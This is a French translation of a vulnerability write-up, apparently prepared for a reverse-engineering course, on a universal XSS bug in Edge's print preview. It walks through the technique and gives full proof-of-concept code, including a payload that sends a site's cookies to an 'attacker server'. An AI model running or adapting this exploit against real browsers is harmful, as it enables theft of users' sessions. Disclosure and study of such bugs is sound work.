La traduction de l'article a été préparée spécialement pour les étudiants du cours d' ingénierie inverse .
Universal XSS (uXSS) est un bogue de navigateur qui vous permet d'exécuter du code JavaScript sur n'importe quel site.
Il semble que XSS soit sur tous les sites et cela semble très intéressant. Ce qui est encore plus intéressant, c'est comment j'ai trouvé cette erreur. Habituellement, s'il s'agit de uXSS, cela est probablement dû à l'élément IFRAME ou à l'URL, mais je n'ai jamais pensé trouver une vulnérabilité XSS en utilisant la fonction
print()
.
Fenêtre d'aperçu
Parlons de ce qui se passe réellement lorsque Edge affiche une fenêtre d'aperçu avant impression.
J'ai toujours pensé qu'il n'y avait qu'une capture d'écran dessinée par une technologie comme
Canvas , mais en fait la page que vous allez imprimer est copiée en
temp et re-rendue!
Lorsque
print()
est exécuté sur la page, nous voyons l'activité du système de fichiers suivante dans
Process Monitor :

Ainsi, le fichier est créé dans le répertoire temporaire Edge et le contenu de ce fichier est une version légèrement modifiée de la page d'origine que nous avons essayé d'imprimer. Comparons.
Avant d'imprimer:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html>
Après l'impression:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META content="text/html; charset=utf-8" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML>
Il y a plusieurs choses que nous pouvons remarquer de cette comparaison.
- Javascript est encodé et rendu de manière incorrecte.
- IFRAME pointe désormais vers un autre fichier local dans le même répertoire qui contient le code source du lien
bing.com
origine. - L'élément HTML possède désormais un attribut particulier
__IE_DisplayURL
.
Concernant les premier et deuxième points, j'ai effectué plusieurs tests. Au début, je voulais comprendre si je pouvais obtenir du code Javascript valide après avoir changé l'encodage, dans l'espoir qu'à la fin je pourrais exécuter Javascript. Il s'est avéré que tout code à l'intérieur de l'élément
<
script>
, normal ou non, ne sera pas exécuté.
Le deuxième élément m'a aidé à exposer le nom d'utilisateur du système d'exploitation en utilisant la fonctionnalité
@media print{}
dans CSS et la magie du sélecteur. J'ai pu l'obtenir à partir de la valeur href IFRAME. Mais cela ne suffisait pas.
Sur le troisième paragraphe, c'est devenu intéressant, car cet attribut est extrêmement inhabituel et jusqu'à ce moment je ne l'ai pas rencontré. Je l'ai immédiatement recherché sur Google et j'ai trouvé plusieurs articles, sur la base desquels j'ai réalisé que quelqu'un Masato Kinugawa avait déjà joué avec
lui et découvert des bugs sympas.
Après la lecture et un peu de pratique, j'ai constaté que le contexte d'aperçu apprend d'où vient ce document. Cela est logique car Edge ouvre les fichiers à l'aide du schéma
file:
URI. Avec cet attribut pointant vers la source, vous remarquerez que toutes les demandes provenant du document (dans le cadre de l'aperçu) imiteront exactement le même comportement que si elles provenaient du site Web d'origine.
Comment utiliser cet attribut? Il doit bien y avoir un moyen!
Exécution de code Javascript avec aperçu
Comme je l'ai déjà dit, tout code JavaScript dans la balise de script normale sera bloqué ou simplement ignoré. Mais que se passe-t-il si vous pensez dans une direction différente? J'ai essayé tout ce à quoi je pouvais penser, donc je vais vous éviter de perdre du temps sur de nombreuses tentatives infructueuses et d'aller droit au but.
Ici, nous avons affaire à la fonction d'impression, j'ai donc joué avec des événements liés à l'impression. Le résultat m'a été apporté par
"onbeforeprint"
, avec l'aide de celui-ci, j'ai eu l'occasion d'implémenter un IFRAME qui pointait vers n'importe quel site Web et Edge n'avait pas besoin de le convertir d'abord en fichier. Presque immédiatement, j'ai essayé d'implémenter un IFRAME qui pointait vers l'URL du code Javascript et la dame! Ce code a été exécuté dans le contexte de l'aperçu.
Test d'injection Javascript:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html>
Après avoir converti l'aperçu du document:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT> </BODY></HTML>
Capture d'écran du résultat:

Ce n'est pas parce que nous pouvons exécuter du code que nous avons terminé. Comme je l'ai dit plus tôt, en raison de l'attribut
__IE_DisplayURL
toute demande ou appel d'API sera considéré comme sortant du document.
Implémentation UXSS
Maintenant que nous pouvons implémenter notre code exécutable, nous devons en quelque sorte créer notre propre «aperçu de document» avec notre propre
__IE_DisplayURL
, puis nous pouvons simuler n'importe quel site Web que nous choisissons pour uXSS.
J'ai trouvé qu'en utilisant l'
URL Blob, je peux obtenir l'effet souhaité! J'ai donc créé mon propre document imprimable avec mon attribut pointant vers le site cible (dans mon cas
bing.com
). Il contenait Javascript IFRAME, qui fonctionnait comme s'il venait de
bing.com
.
J'ai implémenté le code suivant:
if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) }
Où
top.document.getElementById('qd').value
est le prochain faux document à imprimer.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML>
Tout ce que je fais, c'est lire
document.cookie
et les renvoyer au serveur.
Résumons maintenant ce que fait la version finale de l'exploit:
- En utilisant l'événement
onbeforeprint
, onbeforeprint
un IFRAME qui pointe vers ma charge utile juste avant l'impression. - Pour initialiser, j'appelle
window.print()
. - Edge affiche ensuite une fenêtre d'aperçu lors du rendu de mon code incorporé;
- Le code Javascript intégré a créé une URL Blob qui contient mon propre
bing.com
imprimable bing.com
et redirige le cadre supérieur vers cette adresse. - Le contexte d'aperçu avant impression pense que le contenu de mon URL Blob est réellement imprimable et définit l'origine du document sur
bing.com
à l'aide de l'attribut __IE_DisplayURL
. - Le faux document imprimable lui-même contient un autre IFRAME qui affiche simplement le
document.cookie
de bing.com
. - uXSS fonctionne!
Code final et vidéo
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html>
Liens utiles:→
Microsoft.com